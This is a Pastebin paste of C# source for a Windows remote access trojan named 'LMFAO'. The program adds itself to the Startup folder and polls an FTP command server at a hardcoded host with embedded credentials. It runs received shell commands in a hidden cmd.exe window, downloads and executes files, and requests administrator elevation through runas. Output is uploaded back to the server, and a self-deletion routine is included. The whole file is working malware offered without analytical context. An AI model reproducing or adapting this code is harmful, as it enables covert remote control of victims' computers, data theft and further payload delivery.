Advertisement
Guest User

Untitled

a guest
Nov 1st, 2017
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 9.65 KB | None | 0 0
  1. using System;
  2. using System.Windows.Forms;
  3. using System.IO;
  4. using System.Net;
  5. using System.Threading;
  6. using System.Diagnostics;
  7. using System.Security.Principal;
  8. using System.Reflection;
  9.  
  10. namespace LMFAO
  11. {
  12.     static class Program
  13.     {
  14.  
  15.         public static string ftpUsername = "1884973";
  16.         public static string ftpPassword = "1472580a";
  17.         public static string id = generateId().ToString();
  18.         public static bool start = false;
  19.         public static string host = "filezprox.atwebpages.com";
  20.  
  21.         static void killTheCat()
  22.         {
  23.  
  24.             runCmd("del *.txt");
  25.             runCmd("del" + Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\start.bat");
  26.  
  27.         }
  28.  
  29.         static void startup()
  30.         {
  31.  
  32.             try
  33.             {
  34.  
  35.                 if (!start)
  36.                 {
  37.  
  38.                     if (!File.Exists("id.txt"))
  39.                     {
  40.  
  41.                         File.WriteAllText("id.txt", id);
  42.  
  43.                     }
  44.  
  45.                     if (!File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\start.bat"))
  46.                     {
  47.  
  48.                         File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\start.bat", "START " + Assembly.GetEntryAssembly().Location);
  49.  
  50.                     }
  51.  
  52.                     id = File.ReadAllText("id.txt");
  53.  
  54.                     if (IsAdministrator())
  55.                     {
  56.  
  57.                         File.WriteAllText("output.txt", "Elevation successful");
  58.                         sendOutput();
  59.  
  60.                     }
  61.  
  62.                     clearCmd(id);
  63.                 }
  64.             }
  65.             catch
  66.             {
  67.  
  68.  
  69.  
  70.             }
  71.  
  72.         }
  73.  
  74.         /// <summary>
  75.         /// The main entry point for the application.
  76.         /// </summary>
  77.         [STAThread]
  78.         public static void Main()
  79.         {
  80.  
  81.             startup();
  82.  
  83.             long auth = 24893408877439348;
  84.             auth.ToString();
  85.  
  86.             bool kill = false;
  87.             while (!kill)
  88.             {
  89.  
  90.                 try
  91.                 {
  92.                     getMail(ftpUsername, ftpPassword, id);
  93.                 }
  94.                 catch
  95.                 {
  96.  
  97.                 }
  98.                
  99.                 string[] lines = File.ReadAllLines("cmd.txt");
  100.                 try
  101.                 {
  102.                     switch (lines[0])
  103.                     {
  104.  
  105.                         case "cmd":
  106.                             runCmd(lines[1]);
  107.                             clearCmd(id);
  108.                             sendOutput();
  109.                             break;
  110.  
  111.                         case "kill":
  112.                             kill = true;
  113.                             clearCmd(id);
  114.                             break;
  115.  
  116.                         case "ruthere":
  117.                             handshake();
  118.                             clearCmd(id);
  119.                             break;
  120.                         case "ktc":
  121.                             clearCmd(id);
  122.                             sendToMaster("bye!");
  123.                             killTheCat();                            
  124.                             kill = true;
  125.                             break;
  126.  
  127.                         case "ps":
  128.                             File.WriteAllText("output.txt", "Not available yet.");
  129.                             sendOutput();
  130.                             clearCmd(id);
  131.                             break;
  132.  
  133.                         case "download":
  134.                             using (var client = new WebClient())
  135.                             {
  136.                                 try
  137.                                 {
  138.  
  139.                                     client.DownloadFile(lines[1], lines[2]);
  140.  
  141.                                 }
  142.                                 catch (Exception ex)
  143.                                 {
  144.  
  145.                                     File.WriteAllText("output.txt", ex.Message);
  146.                                     sendOutput();
  147.  
  148.                                 }
  149.                                
  150.                             }
  151.                             clearCmd(id);
  152.                             break;
  153.  
  154.                         case "update":
  155.                             updateProgram("http://" + host + "/LMFAO/LMFAO.exe");
  156.                             clearCmd(id);
  157.                             kill = true;
  158.                             break;
  159.  
  160.                         case "elevate":
  161.                             getAdmin();
  162.                             kill = true;
  163.                             clearCmd(id);
  164.                             break;
  165.  
  166.                         case "msg":
  167.                             MessageBox.Show(lines[1]);
  168.                             clearCmd(id);
  169.                             break;
  170.                        
  171.                         default:
  172.                             if (File.Exists("output.txt"))
  173.                             {
  174.                                 sendOutput();
  175.                                 File.Delete("output.txt");
  176.                             }
  177.                             break;
  178.  
  179.  
  180.                     }
  181.  
  182.                 }
  183.  
  184.                 catch (IndexOutOfRangeException)
  185.                 {
  186.  
  187.                    
  188.  
  189.                 }
  190.  
  191.  
  192.                 Thread.Sleep(1000);
  193.  
  194.             }
  195.  
  196.         }
  197.  
  198.         static int generateId()
  199.         {
  200.  
  201.             Random rnd = new Random(Guid.NewGuid().GetHashCode());
  202.  
  203.             return rnd.Next(100000, 1000000);
  204.  
  205.         }
  206.  
  207.         static bool IsAdministrator()
  208.         {
  209.  
  210.             WindowsIdentity identity = WindowsIdentity.GetCurrent();
  211.             WindowsPrincipal principal = new WindowsPrincipal(identity);
  212.             return principal.IsInRole(WindowsBuiltInRole.Administrator);
  213.  
  214.         }
  215.  
  216.         static void getAdmin()
  217.         {
  218.  
  219.             var exeName = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;
  220.             ProcessStartInfo startInfo = new ProcessStartInfo(exeName);
  221.             startInfo.Verb = "runas";
  222.             Process.Start(startInfo);
  223.             return;
  224.  
  225.         }
  226.  
  227.         static void updateProgram(string url)
  228.         {
  229.             string fileid = generateId().ToString();
  230.  
  231.             using (var client = new WebClient())
  232.             {
  233.                 try
  234.                 {
  235.  
  236.                     client.DownloadFile(url, fileid + ".exe");
  237.  
  238.                 }
  239.                 catch
  240.                 {
  241.  
  242.                 }
  243.             }
  244.  
  245.             Process.Start(fileid + ".exe");
  246.  
  247.         }
  248.  
  249.         static void sendOutput()
  250.         {
  251.  
  252.             WebClient client = new WebClient();
  253.  
  254.             client.Credentials = new NetworkCredential(ftpUsername, ftpPassword);
  255.  
  256.             try
  257.             {
  258.  
  259.                 FileStream fs = new FileStream("cmd.txt", FileMode.Create);
  260.                 fs.Flush();
  261.                 fs.Close();
  262.  
  263.                 client.UploadFile("ftp://" + host + "/LMFAO/" + id + ".output.txt", "output.txt");
  264.  
  265.             }
  266.  
  267.             catch (IOException)
  268.             {
  269.  
  270.  
  271.  
  272.             }
  273.  
  274.         }
  275.  
  276.         static void handshake()
  277.         {
  278.  
  279.             WebClient client = new WebClient();
  280.  
  281.             client.Credentials = new NetworkCredential(ftpUsername, ftpPassword);
  282.  
  283.             try
  284.             {
  285.  
  286.                 File.WriteAllText("output.txt", "Yes !");
  287.  
  288.                 client.UploadFile("ftp://" + host + "/LMFAO/" + id + ".output.txt", "cmd.txt");
  289.  
  290.             }
  291.  
  292.             catch (IOException)
  293.             {
  294.  
  295.  
  296.  
  297.             }
  298.  
  299.         }
  300.  
  301.         static void sendToMaster(string msg)
  302.         {
  303.  
  304.             File.WriteAllText("msg.txt", msg);
  305.  
  306.             WebClient client = new WebClient();
  307.  
  308.             client.Credentials = new NetworkCredential(ftpUsername, ftpPassword);
  309.  
  310.             try
  311.             {
  312.  
  313.                 FileStream fs = new FileStream("cmd.txt", FileMode.Create);
  314.                 fs.Flush();
  315.                 fs.Close();
  316.  
  317.                 client.UploadFile("ftp://" + host + "/LMFAO/" + id + ".output.txt", "msg.txt");
  318.  
  319.             }
  320.  
  321.             catch (IOException)
  322.             {
  323.  
  324.  
  325.  
  326.             }
  327.  
  328.         }
  329.  
  330.         static void clearCmd(string id)
  331.         {
  332.  
  333.             WebClient client = new WebClient();
  334.  
  335.             client.Credentials = new NetworkCredential(ftpUsername, ftpPassword);
  336.  
  337.             try
  338.             {
  339.  
  340.                 FileStream fs = new FileStream("cmd.txt", FileMode.Create);
  341.                 fs.Flush();
  342.                 fs.Close();
  343.  
  344.                 client.UploadFile("ftp://" + host + "/LMFAO/" + id + ".cmd.txt", "cmd.txt");
  345.  
  346.             }
  347.            
  348.             catch (IOException)
  349.             {
  350.  
  351.                
  352.  
  353.             }
  354.  
  355.         }
  356.  
  357.         public static void getMail(string ftpUsername, string ftpPassword, string id)
  358.         {
  359.  
  360.             try
  361.             {
  362.  
  363.                 WebClient client = new WebClient();
  364.  
  365.                 client.Credentials = new NetworkCredential(ftpUsername, ftpPassword);
  366.                 client.DownloadFile("ftp://" + host + "/LMFAO/" + id + ".cmd.txt", "cmd.txt");
  367.  
  368.             }
  369.  
  370.             catch
  371.             {
  372.  
  373.             }          
  374.         }
  375.  
  376.         public static void runCmd(string command)
  377.         {
  378.  
  379.             File.WriteAllText("output.txt", "");
  380.             Process process = new Process();
  381.             ProcessStartInfo startInfo = new ProcessStartInfo();
  382.             startInfo.WindowStyle = ProcessWindowStyle.Hidden;
  383.             startInfo.FileName = "cmd.exe";
  384.             startInfo.Arguments = "/C " + command;
  385.             process.StartInfo = startInfo;
  386.             process.Start();
  387.  
  388.         }
  389.     }
  390. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement